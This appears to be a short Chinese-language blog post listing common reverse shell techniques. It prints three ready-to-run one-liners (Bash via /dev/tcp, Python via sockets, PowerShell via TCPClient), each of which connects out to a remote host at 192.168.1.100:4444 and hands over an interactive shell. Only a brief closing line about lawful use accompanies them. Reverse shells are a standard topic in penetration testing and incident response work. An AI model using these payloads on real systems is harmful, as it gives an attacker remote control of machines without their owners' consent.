💻几种常见反弹shell汇总⚡️
在网络安全的世界里,`反弹shell`是一种常见的技术手段,常用于渗透测试或应急响应中。今天就来盘点几种常用的反弹shell方法吧!💪
首先登场的是经典的Bash反弹shell,只需几行代码即可实现:
```bash
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
```
接着是Python版的反弹shell,简洁又高效:
```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
此外,还有PowerShell版本,适合Windows环境:
```powershell
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
掌握这些技巧可以帮助安全人员更好地理解攻击原理并加强防护。但请务必合法合规使用哦!⚠️